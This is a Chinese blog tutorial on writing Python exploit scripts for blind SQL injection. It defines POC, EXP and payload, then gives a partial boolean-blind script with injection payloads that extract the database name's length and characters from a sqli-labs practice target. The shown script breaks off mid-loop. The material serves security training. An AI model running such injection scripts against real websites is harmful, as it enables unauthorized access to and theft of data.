Python之路 | 布尔盲注、延时EXP编写

什么是POC、EXP、payload?

答:

POC:

​ 全称为‘Proof of concept’,意为概念验证,常指为一段漏洞的证明代码

​ 理解为:发现可能存在的漏洞后,强调对漏洞是否存在进行验证

EXP:

​ 全称为‘Exploit’,意为利用,指利用系统漏洞进行攻击的动作

​ 理解为:对已存在的漏洞进行利用,强调利用已有的资源

Payload:

​ 意为有效载荷,指成功exploit之后,真正在目标系统执行的代码或指令

​ 理解为例如使用了一条恶意SQL语句,使网站出现报错回显,这挑语句就是造成报错回显的payload

使用python编写EXP

核心模块request

pip install requests

requests模块

Request支持HTTP连接保持和连接池,支持使用cookie保持会话,支持文件上传,支持自动响应内容的编码,支持国际化的URL和POST数据自动编码

requests会自动实现持久连接keep-alive

支持的HTTP方法

  • GET 获取资源
  • POST 传输实体主体
  • PUT 传输文件
  • HEAD 获取响应报文首部
  • DELETE 删除文件
  • TRACE 追踪路径
  • CONNECT 要求用隧道协议连接代理
  • LINK 建立和资源之间的连接
  • UNLINK 断开连接关系

requests获取HTTP方式

res = requests.get()
res = requests.post()
.......

构造布尔盲注EXP

平常的盲注如果手工的话会很麻烦,多数情况下大家会选择SQLmap等相关软件一把梭

但是有些情况下,考虑到SQLmap的线程和其他情况会造成一些影响

所以我们可以简单的利用python来构造一个盲注脚本(低线程、高效率)

求数据库长度和名字(一)

import requests

url = 'http://14af1b91-a892-4c9e-b896-0835afaafb8a.node4.buuoj.cn/Less-8/?id=1'
payload1 = "'and length(database())={}%23"
payload2 ="' and ascii(substr(database(),{},1))={}%23 "
exp1 = url + payload1
exp2 = url + payload2
headers = {
   
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0'
}

i = 0
while 1:
    req = requests.get(url=exp1.format(i), headers=headers)
    #print(exp1.format(i))
    if "You are in..........." in req.text
  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

1erkeU

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值